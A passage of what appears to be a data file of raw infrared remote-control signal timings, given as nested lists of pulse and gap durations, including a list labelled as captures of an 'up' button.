[619, 545, 621, 544, 622, 544, 623, 541, 616, 1629, 625, 1623, 621, 1627, 618, 1630, 623, 1624, 620, 1633, 620, 539, 618, 1630, 624, 543, 614, 1630, 626, 538, 626, 1622, 622, 542, 645, 519, 623, 542, 620, 544, 623, 1625, 621, 543, 621, 1628, 617, 547, 620, 1628, 626, 1622, 622, 1626, 622, 1627, 623],
[623, 621, 538, 619, 545, 623, 542, 625, 539, 616, 1632, 624, 1623, 621, 1626, 618, 1630, 623, 1625, 619, 1628, 625, 539, 618, 1629, 625, 539, 618, 1630, 627, 537, 617, 1630, 624, 541, 619, 545, 619, 544, 623, 541, 626, 1622, 622, 542, 628, 1633, 608, 548, 618, 1625, 619, 1629, 645, 1606, 621, 1623, 618],
[616, 624, 542, 625, 535, 618, 546, 623, 542, 622, 1627, 617, 1629, 625, 1623, 621, 1626, 618, 1630, 624, 1624, 620, 544, 624, 1624, 619, 545, 626, 1622, 618, 549, 618, 1627, 620, 545, 619, 546, 621, 542, 629, 535, 621, 1627, 624, 541, 616, 1632, 622, 542, 625, 1623, 652, 1596, 621, 1627, 623, 1625, 622],
[618, 620, 548, 619, 541, 616, 550, 618, 545, 623, 1627, 614, 1635, 620, 1624, 619, 1629, 628, 1620, 622, 1628, 616, 547, 620, 1628, 645, 519, 618, 1629, 625, 552, 605, 1631, 626, 538, 627, 538, 618, 546, 621, 543, 624, 1625, 619, 545, 622, 1626, 619, 550, 616, 1740, 504, 1632, 622, 1626, 618, 1631, 628],
[628, 615, 549, 619, 545, 626, 537, 624, 540, 617, 1636, 1618, 630, 614, 1629, 627, 1621, 621, 1628, 616, 1631, 623, 542, 615, 1632, 627, 537, 625, 1623, 621, 543, 624, 1624, 620, 545, 621, 545, 627, 535, 617, 547, 620, 1628, 626, 540, 616, 1631, 623, 541, 616, 1632, 627, 1620, 618, 1631, 693, 1554, 620],
[616, 619, 548, 619, 542, 625, 539, 619, 545, 621, 1627, 617, 1631, 622, 1625, 619, 1629, 625, 1623, 621, 1626, 618, 546, 624, 1624, 616, 549, 618, 1628, 626, 539, 618, 1630, 624, 540, 617, 547, 619, 549, 618, 542, 625, 1623, 622, 545, 623, 1622, 625, 539, 622, 1768, 476, 1630, 624, 1624, 620, 1628, 616],
[625, 624, 540, 621, 543, 621, 548, 618, 542, 628, 1638, 607, 1623, 617, 1631, 624, 1623, 619, 1629, 625, 1625, 619, 542, 625, 1623, 621, 545, 622, 1624, 624, 540, 622, 1630, 618, 542, 621, 543, 624, 540, 616, 548, 619, 1629, 628, 536, 618, 1630, 624, 540, 617, 1631, 622, 1627, 618, 1628, 625, 1623, 621],
[623, 541, 621, 545, 621, 541, 617, 546, 622, 1629, 613, 1632, 622, 1626, 618, 1630, 624, 1623, 621, 1630, 614, 546, 621, 1627, 622, 545, 616, 1628, 616, 548, 619, 1629, 624, 540, 617, 547, 620, 544, 623, 541, 616, 1632, 622, 542, 625, 1625, 619, 543, 624, 1624, 620, 1632, 612, 1631, 627, 1621, 619],
[619, 550, 613, 546, 621, 543, 626, 540, 615, 1636, 618, 1625, 619, 1629, 615, 1633, 621, 1627, 617, 1630, 624, 541, 617, 1632, 621, 542, 615, 1638, 616, 544, 623, 1624, 623, 555, 609, 541, 616, 549, 618, 546, 625, 1627, 613, 547, 620, 1628, 646, 519, 618, 1629, 625, 1623, 621, 1632, 612, 1632, 623],
[543, 1166, 1171, 1158, 1162, 2249, 2246, 2251, 2245, 2248, 2247, 1164, 2252, 1161, 2248, 1166, 2247, 1164, 1164, 1164, 1164, 2248, 1164, 2249, 1164, 2248, 2248, 2248, 2248],
[1163, 616, 1631, 624, 1624, 639, 1612, 622, 1623, 621, 1631, 613, 1635, 619, 541, 616, 1631, 623, 542, 625, 1623, 621, 543, 624, 1626, 617, 545, 622, 542, 625, 542, 615, 551, 616, 1627, 616, 548, 619, 1629, 625, 539, 618, 1630, 814, 1434, 620, 1628, 626, 1622, 621],
[616, 569, 602, 544, 621, 542, 623, 540, 617, 1631, 623, 1633, 611, 1630, 614, 1634, 620, 1628, 616, 1632, 622, 543, 624, 1624, 620, 544, 623, 1625, 619, 546, 620, 1627, 617, 547, 620, 545, 622, 543, 624, 544, 614, 1633, 620, 541, 616, 1632, 622, 542, 625, 1624, 623, 1625, 616, 1631, 623, 1626, 618],
[620, 544, 623, 541, 617, 547, 623, 544, 618, 1627, 618, 1631, 624, 1624, 620, 1628, 615, 1633, 621, 1627, 617, 547, 620, 1628, 616, 549, 618, 1629, 625, 540, 617, 1634, 622, 539, 616, 548, 618, 550, 617, 544, 631, 1617, 619, 546, 621, 1627, 617, 548, 619, 1632, 612, 1633, 621, 1627, 617, 1631, 623],
[622, 614, 548, 618, 551, 616, 544, 623, 541, 616, 1637, 620, 1623, 618, 1631, 627, 1620, 623, 1624, 616, 1635, 622, 540, 624, 1627, 616, 545, 622, 1626, 618, 554, 613, 1627, 621, 543, 622, 542, 627, 537, 616, 549, 617, 1630, 624, 544, 613, 1632, 622, 542, 617, 1631, 621, 1627, 618, 1630, 624, 1624, 618],
[623, 594, 549, 617, 550, 617, 545, 625, 538, 616, 549, 619, 545, 620, 1628, 616, 1633, 1621, 626, 620, 1628, 614, 1634, 621, 1627, 616, 549, 618, 1629, 615, 549, 618, 1631, 626, 542, 612, 1632, 622, 542, 615, 549, 618, 547, 620, 544, 622, 1626, 618, 547, 624, 1624, 616, 549, 618, 1629, 615, 1635, 666, 1580, 616, 1633, 621],
[615, 549, 618, 550, 616, 550, 617, 542, 618, 547, 617, 551, 616, 1628, 616, 1637, 617, 1627, 647, 1601, 623, 1625, 619, 1642, 611, 544, 613, 1632, 625, 540, 624, 1624, 620, 545, 622, 1625, 618, 549, 618, 545, 626, 538, 624, 543, 614, 1631, 623, 542, 616, 1636, 617, 544, 642, 1606, 619, 1631, 627, 1619, 624, 1627, 613],
[621, 627, 538, 615, 553, 614, 545, 623, 546, 620, 1624, 620, 1628, 616, 1632, 622, 1627, 622, 1626, 623, 1625, 619, 546, 621, 1626, 618, 547, 620, 1627, 617, 547, 620, 1632, 622, 538, 622, 543, 620, 548, 619, 542, 624, 1624, 620, 544, 623, 1625, 624, 540, 622, 1630, 614, 1631, 623, 1626, 618, 1629, 625],
[622, 542, 624, 540, 617, 548, 623, 541, 622, 1626, 618, 1630, 624, 1624, 620, 1628, 615, 1633, 621, 1626, 622, 543, 619, 1628, 616, 549, 618, 1635, 619, 540, 617, 1634, 619, 542, 615, 549, 617, 548, 649, 515, 622, 1626, 617, 547, 620, 1630, 614, 549, 618, 1630, 629, 1632, 607, 1628, 616, 1632, 622],
[621, 623, 541, 615, 549, 619, 544, 622, 543, 624, 1624, 619, 1629, 615, 1633, 624, 1627, 613, 1632, 625, 1623, 618, 546, 621, 1627, 617, 547, 619, 1629, 615, 549, 618, 1630, 624, 543, 614, 548, 618, 546, 622, 542, 625, 1625, 618, 545, 627, 1626, 613, 547, 619, 1630, 617, 1630, 621, 1627, 617, 1631, 624],
[620, 615, 545, 622, 542, 625, 541, 620, 543, 619, 1630, 614, 1633, 621, 1629, 615, 1631, 622, 1629, 615, 1630, 614, 553, 613, 1634, 620, 542, 615, 1633, 621, 543, 614, 1634, 623, 541, 623, 547, 619, 540, 617, 548, 619, 1629, 615, 552, 615, 1630, 623, 542, 616, 1631, 622, 1627, 617, 1633, 674, 1572, 619],
[614, 549, 618, 548, 622, 540, 623, 544, 618, 1630, 618, 1627, 619, 1629, 623, 1625, 619, 1629, 625, 1627, 616, 549, 618, 1626, 618, 547, 620, 1628, 615, 548, 619, 1630, 624, 540, 616, 549, 618, 549, 618, 547, 620, 1625, 619, 545, 622, 1631, 612, 548, 619, 1847, 400, 1633, 617, 1628, 616, 1635, 619],
[613, 617, 548, 620, 544, 624, 541, 624, 539, 619, 547, 618, 546, 622, 1626, 616, 1631, 623, 1628, 616, 1634, 620, 1624, 620, 1628, 616, 548, 623, 1625, 624, 541, 616, 1632, 622, 547, 609, 1634, 620, 546, 621, 545, 612, 553, 613, 548, 622, 1626, 617, 549, 620, 1626, 623, 541, 616, 1632, 622, 1626, 617, 1632, 622, 1626, 622],
[617, 550, 616, 546, 621, 543, 614, 551, 616, 548, 619, 546, 621, 1627, 616, 1632, 622, 1626, 618, 1631, 623, 1625, 619, 1629, 618, 546, 622, 1626, 623, 547, 610, 1633, 624, 540, 623, 1629, 616, 546, 621, 543, 623, 541, 616, 549, 618, 1630, 624, 540, 616, 1632, 622, 543, 624, 1626, 618, 1627, 616, 1632, 622, 1626, 719],
[618, 547, 620, 544, 624, 541, 615, 555, 614, 544, 620, 544, 624, 1624, 619, 1629, 614, 1635, 619, 1627, 617, 1634, 623, 1622, 619, 545, 621, 1629, 615, 547, 620, 1628, 615, 549, 618, 1631, 623, 541, 616, 548, 620, 544, 623, 542, 624, 1624, 620, 548, 618, 1626, 625, 539, 621, 1627, 617, 1631, 623, 1628, 615, 1635, 620],
[620, 550, 617, 542, 624, 541, 619, 547, 620, 1626, 617, 1631, 621, 1627, 616, 1632, 622, 1627, 617, 1633, 621, 541, 621, 1627, 622, 543, 624, 1624, 620, 544, 623, 1625, 619, 546, 620, 544, 623, 544, 613, 552, 614, 1631, 623, 541, 617, 1631, 622, 542, 625, 1623, 620, 1629, 615, 1633, 621, 1627, 627],
[622, 614, 550, 617, 548, 619, 545, 621, 545, 622, 541, 619, 546, 618, 1630, 623, 1629, 615, 1629, 616, 1632, 621, 1627, 622, 1627, 621, 543, 628, 1620, 620, 549, 617, 1630, 614, 547, 620, 1628, 616, 548, 618, 547, 620, 545, 622, 542, 615, 1633, 622, 543, 622, 1626, 618, 546, 621, 1628, 616, 1632, 626, 1623, 617, 1631, 622],
[619, 613, 550, 619, 546, 623, 541, 629, 536, 624, 1624, 619, 1629, 615, 1634, 620, 1628, 616, 1633, 621, 1627, 617, 547, 620, 1629, 615, 550, 619, 1629, 622, 542, 626, 1623, 620, 545, 622, 542, 629, 536, 617, 547, 619, 1629, 615, 550, 622, 1626, 623, 542, 625, 1623, 621, 1631, 613, 1632, 625, 1627, 614],
[626, 540, 622, 543, 613, 550, 618, 546, 620, 1628, 620, 1629, 620, 1628, 616, 1632, 622, 1626, 617, 1631, 623, 541, 616, 1632, 622, 547, 619, 1625, 619, 546, 621, 1627, 617, 547, 620, 545, 621, 543, 624, 541, 616, 1632, 622, 543, 624, 1624, 620, 544, 625, 1623, 618, 1631, 623, 1625, 619, 1629, 625],
[623, 615, 549, 618, 547, 621, 545, 620, 543, 615, 1633, 621, 1627, 616, 1633, 621, 1627, 617, 1631, 627, 1622, 617, 547, 620, 1628, 616, 548, 619, 1630, 623, 541, 616, 1632, 633, 532, 624, 540, 617, 548, 620, 544, 624, 1624, 617, 548, 619, 1629, 615, 550, 617, 1699, 555, 1625, 619, 1629, 624, 1627, 621],
[615, 551, 616, 547, 620, 545, 622, 542, 638, 1613, 618, 1628, 615, 1633, 622, 1628, 615, 1631, 623, 1625, 619, 546, 626, 1622, 617, 547, 619, 1629, 615, 549, 619, 1633, 620, 540, 616, 552, 620, 541, 621, 543, 624, 1624, 622, 543, 622, 1626, 618, 547, 620, 1632, 611, 1632, 627, 1623, 784, 1463, 623],
[615, 549, 620, 545, 619, 546, 622, 542, 614, 550, 617, 548, 618, 1629, 615, 1633, 621, 1628, 616, 1633, 627, 1623, 616, 1630, 614, 550, 617, 1632, 622, 543, 614, 1634, 620, 546, 621, 1626, 618, 551, 620, 544, 624, 536, 616, 549, 617, 1634, 621, 541, 615, 1633, 621, 543, 624, 1625, 619, 1629, 615, 1634, 625, 1623, 618],
[625, 540, 616, 548, 622, 542, 622, 544, 623, 1624, 620, 1629, 620, 1628, 621, 1627, 617, 1632, 622, 1626, 618, 547, 620, 1628, 619, 545, 620, 1629, 623, 541, 616, 1633, 621, 546, 621, 541, 616, 548, 619, 546, 621, 1627, 616, 548, 620, 1629, 624, 540, 619, 1629, 622, 1626, 618, 1889, 365, 1625, 619],
[541, 1172, 1161, 1161, 1166, 2248, 2254, 2242, 2248, 2249, 2262, 1151, 2249, 1165, 2248, 1165, 2248, 1168, 1162, 1164, 1168, 2245, 1165, 2253, 1161, 2494, 2004, 2247, 2250],
[1164, 617, 1630, 623, 1625, 619, 1629, 625, 1625, 618, 1631, 613, 1633, 621, 543, 624, 1625, 619, 544, 623, 1626, 618, 546, 620, 1628, 621, 544, 618, 549, 618, 544, 623, 541, 616, 1632, 622, 543, 628, 1620, 619, 546, 625, 1623, 817, 1432, 622, 1626, 618, 1630, 626],
[619, 545, 622, 543, 623, 541, 618, 546, 619, 1630, 623, 1625, 619, 1629, 620, 1628, 621, 1627, 617, 1632, 627, 536, 620, 1632, 618, 543, 623, 1625, 621, 544, 621, 1627, 617, 547, 1624, 540, 622, 543, 624, 541, 616, 1632, 622, 542, 615, 1633, 621, 543, 623, 1626, 618, 1629, 615, 1633, 621, 1627, 616],
[617, 543, 624, 540, 615, 549, 618, 550, 617, 1632, 612, 1632, 624, 1625, 617, 1631, 623, 1625, 619, 1629, 625, 545, 611, 1632, 623, 541, 619, 1630, 620, 544, 623, 1625, 618, 547, 620, 545, 622, 541, 620, 545, 620, 1628, 623, 541, 616, 1633, 621, 547, 620, 1728, 516, 1633, 611, 1637, 622, 1622, 617],
[613, 617, 545, 621, 548, 620, 540, 616, 548, 619, 1629, 614, 1634, 620, 1628, 619, 1632, 622, 1623, 618, 1635, 619, 541, 616, 1632, 622, 543, 624, 1624, 620, 545, 624, 1624, 622, 543, 624, 540, 623, 542, 620, 549, 612, 1632, 626, 538, 625, 1623, 621, 544, 623, 1626, 618, 1631, 623, 1625, 619, 1632, 612],
[624, 541, 619, 546, 618, 545, 622, 545, 621, 1625, 619, 1628, 621, 1628, 621, 1627, 617, 1632, 627, 1620, 623, 541, 622, 1626, 618, 546, 622, 1627, 616, 550, 617, 1629, 625, 545, 612, 547, 620, 544, 625, 542, 612, 1638, 616, 544, 623, 1625, 619, 546, 621, 1626, 618, 1631, 623, 1624, 619, 1630, 626],
[619, 620, 544, 613, 551, 616, 548, 619, 546, 621, 1627, 617, 1631, 622, 1626, 621, 1627, 614, 1634, 620, 1628, 615, 549, 618, 1630, 624, 541, 615, 1633, 621, 543, 624, 1624, 620, 548, 619, 542, 615, 550, 617, 548, 618, 1630, 615, 553, 614, 1636, 618, 542, 615, 1645, 609, 1627, 620, 1629, 621, 1627, 618],
[550, 1165, 1165, 1165, 1163, 2248, 2248, 2248, 2249, 2248, 2249, 1164, 2251, 1162, 2252, 1161, 2248, 1165, 1164, 1165, 1165, 2248, 1165, 2248, 1167, 2245, 2251, 2245, 2249],
[622, 1628, 618, 1629, 622, 1625, 624, 1624, 618, 1630, 620, 1632, 616, 545, 618, 1630, 624, 541, 616, 1634, 620, 545, 612, 1635, 619, 549, 618, 542, 614, 550, 617, 548, 619, 1633, 610, 550, 617, 1632, 622, 544, 613, 1634, 859, 1389, 620, 1628, 622, 1627, 617],
[620, 545, 622, 544, 623, 540, 616, 549, 618, 1631, 613, 1633, 621, 1628, 616, 1632, 622, 1626, 617, 1631, 625, 540, 615, 1638, 616, 543, 624, 1625, 618, 546, 621, 1627, 617, 548, 622, 542, 627, 537, 624, 541, 616, 1632, 622, 548, 619, 1624, 620, 544, 623, 1629, 614, 1631, 625, 1627, 620, 1823, 416],
[616, 621, 543, 624, 540, 625, 538, 1617, 547, 619, 1630, 626, 1622, 620, 1631, 613, 1637, 617, 1628, 616, 1632, 621, 543, 624, 1625, 623, 542, 621, 1629, 615, 547, 621, 1628, 615, 550, 616, 548, 619, 546, 621, 544, 623, 1625, 619, 546, 621, 1627, 617, 548, 619, 1632, 612, 1634, 620, 1628, 620, 1629, 620],
[624, 540, 616, 552, 616, 545, 620, 544, 627, 538, 616, 558, 609, 1629, 623, 1625, 619, 1629, 625, 1623, 621, 1627, 619, 1630, 621, 543, 624, 1625, 619, 545, 622, 1627, 617, 547, 620, 1630, 614, 549, 618, 546, 622, 543, 622, 542, 615, 1633, 625, 539, 624, 1629, 614, 616, 553, 1625, 618, 1631, 622, 1626, 619, 1633, 620],
[619, 621, 544, 623, 544, 613, 548, 618, 547, 619, 1629, 615, 1632, 622, 1627, 617, 1632, 622, 1626, 618, 1631, 623, 541, 615, 1634, 620, 549, 618, 1626, 622, 546, 617, 1630, 614, 549, 620, 545, 620, 544, 622, 543, 614, 1634, 620, 545, 622, 1626, 630, 535, 620, 1628, 616, 1633, 622, 1627, 615, 1633, 1621],
[616, 620, 553, 612, 547, 619, 543, 614, 551, 616, 1634, 619, 1644, 600, 1631, 622, 1626, 618, 1630, 624, 1625, 619, 551, 616, 1627, 617, 548, 619, 1629, 625, 540, 617, 1631, 622, 546, 621, 541, 616, 548, 619, 549, 617, 1629, 615, 550, 617, 1634, 620, 542, 615, 1634, 619, 1630, 614, 1634, 622, 1627, 615],
[627, 537, 616, 550, 617, 547, 619, 545, 621, 544, 623, 541, 616, 1635, 619, 1627, 617, 1632, 621, 1630, 614, 1631, 623, 1625, 619, 547, 620, 1627, 617, 547, 620, 1629, 616, 549, 620, 1633, 618, 542, 615, 549, 618, 547, 620, 545, 622, 1626, 622, 543, 619, 1630, 614, 550, 617, 1632, 622, 1626, 618, 1631, 625, 1623, 619],
[615, 549, 620, 544, 623, 541, 623, 545, 612, 550, 617, 547, 623, 1625, 618, 1631, 624, 1624, 616, 1633, 621, 1629, 615, 1632, 622, 542, 615, 1633, 620, 544, 623, 1626, 618, 546, 625, 1623, 620, 549, 613, 547, 620, 546, 621, 542, 614, 1636, 618, 545, 626, 1621, 618, 553, 614, 1628, 619, 1630, 621, 1627, 617, 1644, 612],
[626, 624, 548, 609, 549, 617, 548, 640, 525, 621, 544, 626, 537, 617, 1636, 618, 1632, 612, 1631, 624, 1627, 615, 1632, 622, 1626, 618, 549, 619, 1628, 615, 549, 618, 1631, 626, 539, 615, 1638, 616, 544, 623, 542, 625, 540, 617, 547, 620, 1629, 615, 550, 618, 1631, 622, 542, 614, 1634, 620, 1629, 615, 1634, 620, 1631, 613],
[619, 623, 544, 621, 546, 611, 549, 619, 545, 620, 545, 624, 541, 613, 1634, 620, 1628, 615, 1638, 616, 1627, 616, 1632, 622, 1626, 617, 547, 620, 1628, 616, 549, 621, 1627, 626, 539, 617, 1631, 621, 545, 612, 552, 615, 553, 614, 546, 621, 1627, 617, 551, 616, 1629, 624, 541, 616, 1637, 618, 1626, 617, 1631, 624, 1625, 619],
[613, 619, 552, 615, 544, 622, 541, 626, 544, 617, 1626, 624, 1624, 619, 1633, 620, 1624, 620, 1629, 615, 1633, 620, 545, 622, 1626, 618, 546, 620, 1628, 616, 549, 622, 1626, 623, 543, 614, 549, 618, 546, 621, 544, 622, 1626, 618, 546, 621, 1631, 612, 549, 618, 1630, 624, 1625, 618, 1630, 614, 1636, 618],
[621, 622, 542, 623, 541, 615, 554, 613, 547, 619, 1628, 616, 1636, 618, 1629, 614, 1631, 625, 1627, 615, 1629, 615, 550, 617, 1631, 622, 542, 615, 1633, 621, 544, 623, 1625, 623, 546, 616, 544, 623, 541, 616, 549, 618, 1630, 624, 544, 613, 1632, 625, 539, 625, 1727, 516, 1629, 617, 1631, 621, 1627, 617],
[622, 615, 552, 615, 549, 617, 546, 622, 542, 626, 1623, 649, 1599, 615, 1638, 616, 1627, 617, 1633, 620, 1626, 618, 547, 620, 1629, 615, 549, 621, 1627, 623, 542, 615, 1633, 621, 547, 620, 541, 616, 549, 622, 542, 620, 1629, 615, 549, 618, 1636, 618, 541, 615, 1633, 621, 1630, 614, 1632, 853, 1395, 618],
[625, 615, 549, 620, 547, 622, 540, 622, 543, 625, 1623, 620, 1628, 615, 1633, 621, 1628, 616, 1632, 622, 1627, 616, 548, 624, 1627, 622, 540, 616, 1632, 622, 543, 624, 1624, 619, 546, 621, 547, 620, 541, 615, 549, 623, 1626, 623, 543, 614, 1633, 623, 541, 623, 1708, 536, 1631, 622, 1626, 618, 1630, 624],
[621, 623, 541, 619, 547, 616, 549, 618, 548, 620, 1625, 617, 1631, 623, 1625, 618, 1630, 624, 1625, 618, 1630, 617, 549, 617, 1630, 622, 543, 624, 1625, 619, 548, 621, 1624, 617, 548, 619, 546, 621, 544, 625, 539, 616, 1633, 620, 544, 623, 1625, 619, 546, 620, 1628, 616, 1636, 618, 1651, 593, 1632, 622],
[617, 543, 626, 539, 616, 548, 620, 545, 621, 1630, 613, 1632, 626, 1622, 618, 1630, 627, 1622, 619, 1630, 614, 551, 616, 1634, 620, 542, 615, 1633, 620, 545, 622, 1626, 618, 546, 623, 542, 623, 546, 610, 550, 617, 1632, 622, 542, 615, 1633, 624, 541, 622, 1626, 618, 1631, 623, 1626, 617, 1631, 623]]
up_input_signals = [[346, 611, 207, 3341, 174, 640, 168, 1468, 168, 3585, 165, 3632, 242, 8998, 247],
[180],
[515, 599, 538, 653, 513, 620, 539, 653, 515, 1758, 483, 1710, 547, 1699, 541, 1682, 542, 1758, 517, 1731, 541, 650, 487, 1704, 510, 1765, 509, 710, 456, 1735, 540, 598, 568, 756, 381, 649, 567, 729, 378, 653, 514, 755, 431, 1763, 481, 604, 563, 1736, 173, 172, 167, 1788, 432, 1738, 171, 40, 305, 1757, 162, 2060, 478],
[254, 329, 307, 458, 2475, 357],
[611, 2688, 250, 1384, 258, 250, 4776, 400, 787, 352, 758, 487, 784, 223, 1048, 174, 777, 464, 859, 176, 829, 191, 973, 173, 2101, 253, 243, 161, 1858, 167, 1762, 172, 2156, 169, 2264, 193, 1764, 203, 9239, 168, 4385, 173],
[171, 4251, 168],
[167, 708, 174, 356, 223, 546, 401, 527, 380, 942, 174, 570, 174, 4846, 170, 1048, 194, 998, 164, 1898, 233, 1329, 169],
[172, 410, 172, 1260, 172, 649, 169, 413, 165, 7380, 169],
[172],
[175, 8951, 177],
[1169, 493, 170, 1630, 172],
[165],
[171],
[270, 166, 1051, 167, 945, 329, 835, 177, 882, 456, 761, 276, 941, 375, 1820, 275, 1999, 404, 1871, 387, 1860, 350, 1951, 322, 1793, 461, 649, 177, 41, 270, 1787, 407, 1975, 348, 788, 379, 1739, 170, 965, 566, 651, 440, 724, 488, 996, 166, 1104, 58, 734, 403, 1778, 236, 1076, 351, 1789, 455, 1850, 169, 2340, 173, 1811, 174, 2101, 173],
[5419, 1224, 1051, 1164, 1111, 1191, 1165, 1350, 1007, 2245, 2195, 2407, 2407, 2089, 2275, 1110, 2064, 423, 1850, 1403, 2407, 1084, 1191, 1031, 1164, 1006, 1189, 213, 2039, 1240, 2146, 2247, 2192, 2274, 2221],
[171, 278, 571, 304, 1623, 261, 295, 2292, 510],
[1229, 4825, 301, 734, 432, 889, 248, 729, 442, 802, 381, 710, 347, 838, 299, 787, 304, 1097, 170, 43, 167, 1766, 213, 1979, 294, 1984, 460, 1810, 403, 1846, 174, 1995, 468, 750, 406, 1734, 486, 1762, 511, 681, 692, 1582, 486, 624, 273, 1003, 373, 707, 355, 863, 349, 762, 170, 41, 274, 706, 461, 1923, 380, 753, 354, 1867, 412, 1788, 430, 1761, 483, 1685, 539, 1762, 511],
[411],
[543, 621, 536, 631, 566, 596, 543, 621, 545, 1757, 486, 1709, 545, 1729, 515, 1761, 575, 1699, 462, 1921, 353, 836, 271, 2033, 240, 1927, 176, 856, 482, 1848, 171, 40, 169, 675, 458, 788, 428, 820, 187, 895, 322, 788, 508, 815, 252, 2130, 169, 758, 170, 18, 171, 2100, 174, 2075, 169, 1787, 192, 2349, 169, 1843, 246],
[169, 417, 168, 359, 646, 467, 173, 437, 173, 330, 272, 416, 167],
[537, 533, 625, 542, 624, 543, 620, 537, 655, 512, 1737, 537, 1710, 543, 1711, 503, 1739, 547, 1679, 613, 1660, 519, 618, 537, 1685, 565, 1708, 536, 681, 487, 1737, 506, 658, 508, 630, 542, 653, 509, 623, 564, 628, 509, 628, 568, 1685, 559, 633, 504, 1740, 800, 1423, 535, 1711, 563, 1688, 535, 1709, 565],
[536, 652, 515, 623, 565, 600, 535, 629, 568, 1733, 510, 1687, 537, 1688, 586, 1685, 539, 1709, 535, 1740, 514, 624, 545, 1704, 567, 1681, 543, 622, 535, 1714, 540, 597, 574, 618, 534, 640, 562, 568, 564, 598, 569, 596, 595, 1654, 565, 627, 540, 1707, 537, 1686, 567, 1708, 539, 1682, 569, 1679, 566],
[563, 629, 568, 597, 538, 628, 559, 578, 569, 1707, 537, 1683, 570, 1684, 560, 1685, 560, 1712, 541, 1735, 509, 629, 540, 1709, 543, 1706, 538, 626, 541, 1762, 482, 628, 543, 622, 543, 621, 543, 649, 508, 656, 511, 654, 513, 1739, 515, 647, 510, 1738, 516, 1734, 510, 1711, 562, 1687, 537, 1739, 517],
[483, 630, 537, 628, 544, 676, 489, 676, 508, 628, 508, 687, 480, 654, 513, 651, 521, 1756, 483, 1737, 516, 1787, 457, 1738, 516, 1759, 488, 1762, 494, 669, 483, 1744, 533, 1685, 536, 654, 512, 1743, 531, 602, 535, 629, 538, 653, 514, 677, 489, 597, 560, 630, 538, 1764, 519, 592, 544, 1735, 512, 1736, 515, 1704, 540, 1712, 562, 1684, 560],
[543, 625, 559, 607, 540, 621, 535, 633, 534, 1713, 541, 1655, 588, 1713, 541, 1708, 536, 1711, 543, 1707, 537, 600, 567, 1682, 563, 1686, 567, 598, 588, 1687, 537, 602, 567, 622, 546, 618, 541, 651, 511, 680, 486, 630, 537, 1713, 531, 603, 564, 1711, 543, 1679, 567, 1682, 570, 1679, 564, 1685, 569],
[546, 562, 628, 539, 625, 562, 631, 518, 620, 546, 673, 514, 598, 568, 1707, 536, 1713, 516, 1679, 570, 1732, 512, 1684, 570, 1757, 486, 654, 520, 1731, 536, 1684, 540, 625, 541, 1737, 507, 656, 511, 600, 567, 626, 540, 599, 568, 595, 562, 707, 460, 1711, 562, 577, 570, 1705, 569, 1654, 595, 1680, 539, 1710, 563, 1686, 538],
[507, 682, 485, 683, 483, 626, 561, 630, 517, 621, 566, 708, 429, 627, 571, 649, 487, 1761, 483, 1712, 542, 1714, 539, 1731, 513, 1714, 530, 1714, 510, 628, 569, 1708, 665, 1557, 596, 627, 482, 1708, 595, 597, 540, 625, 542, 622, 549, 617, 535, 628, 569, 597, 614, 1608, 562, 629, 537, 1714, 540, 1706, 835, 1388, 540, 1736, 541, 1706, 544],
[512, 655, 514, 646, 510, 655, 592, 573, 512, 626, 540, 652, 516, 1759, 484, 1738, 515, 1734, 510, 1712, 542, 1710, 533, 1712, 512, 680, 516, 1680, 564, 1685, 569, 653, 513, 1733, 516, 650, 592, 544, 543, 595, 591, 602, 565, 598, 539, 627, 539, 1709, 535, 655, 542, 1682, 562, 1686, 537, 1686, 568, 1707, 539, 1685, 566],
[490, 512, 625, 539, 627, 539, 651, 519, 647, 516, 648, 509, 657, 509, 1685, 569, 1708, 540, 1710, 539, 1709, 535, 1713, 571, 1651, 623, 543, 563, 1712, 562, 1688, 539, 627, 537, 1711, 544, 620, 536, 602, 594, 598, 540, 600, 568, 674, 540, 571, 536, 1688, 177, 35, 354, 624, 563, 1687, 537, 1712, 541, 1710, 534, 1712, 561, 1688, 536],
[511, 262, 752, 2341, 433],
[542, 624, 540, 649, 568, 574, 533, 628, 539, 626, 541, 625, 542, 1707, 536, 1713, 541, 1708, 536, 1767, 487, 1709, 565, 1683, 540, 625, 542, 1706, 550, 1699, 543, 623, 613, 1635, 569, 569, 568, 600, 567, 625, 596, 566, 517, 623, 563, 576, 591, 1733, 511, 681, 485, 1765, 493, 1755, 485, 1737, 537, 1713, 512, 1710, 542],
[567, 625, 541, 597, 570, 597, 591, 576, 590, 571, 566, 598, 538, 1736, 538, 1740, 514, 1733, 511, 1740, 533, 1689, 535, 1688, 566, 626, 561, 1688, 539, 1710, 561, 577, 571, 1704, 539, 654, 513, 597, 569, 649, 513, 625, 537, 604, 563, 653, 514, 1708, 536, 629, 537, 1685, 569, 1707, 568, 1654, 573, 1705, 534, 1659, 596],
[564, 600, 537, 630, 537, 627, 540, 624, 542, 624, 544, 620, 540, 1683, 566, 1683, 561, 1723, 531, 1684, 565, 1736, 512, 1711, 548, 590, 562, 1717, 536, 1683, 561, 604, 564, 1685, 567, 598, 569, 648, 509, 632, 535, 627, 540, 599, 569, 627, 538, 1680, 564, 653, 514, 1739, 484, 1734, 545, 1739, 510, 1705, 543, 1733, 516],
[539, 516, 623, 562, 602, 535, 607, 560, 603, 563, 627, 543, 623, 543, 1705, 541, 1734, 535, 1688, 540, 1711, 558, 1689, 535, 1714, 539, 598, 569, 1681, 563, 1687, 567, 599, 622, 1628, 561, 630, 537, 626, 542, 622, 543, 621, 536, 629, 618, 521, 566, 1710, 563, 600, 537, 1686, 568, 1708, 565, 1686, 538, 1685, 588, 1662, 562],
[536, 682, 484, 680, 487, 626, 541, 650, 517, 647, 510, 735, 432, 1844, 409, 1843, 402, 1741, 532, 1822, 402, 1818, 216, 1980, 464, 727, 175, 38, 248, 4281, 215, 731, 172, 2053, 170, 1233, 177, 855, 323, 4468, 176, 3053, 166, 2208, 17, 4434, 171],
[174, 38, 171, 888, 171, 705, 171, 651, 193, 257, 193, 817, 163, 5097, 169, 1209, 167, 944, 173, 754, 185, 2462, 170, 2185, 168, 944, 175],
[539, 542, 622, 542, 595, 593, 574, 591, 572, 595, 1655, 574, 1674, 595, 1708, 516, 1706, 537, 1715, 539, 1761, 483, 655, 512, 1737, 516, 1733, 511, 680, 517, 1653, 573, 619, 537, 628, 541, 625, 588, 604, 513, 624, 543, 650, 507, 1714, 541, 662, 503, 1708, 616, 1633, 545, 1706, 543, 1706, 538, 1763, 496],
[536, 767, 270, 734, 168, 549, 174, 37, 170, 521, 221, 388, 176],
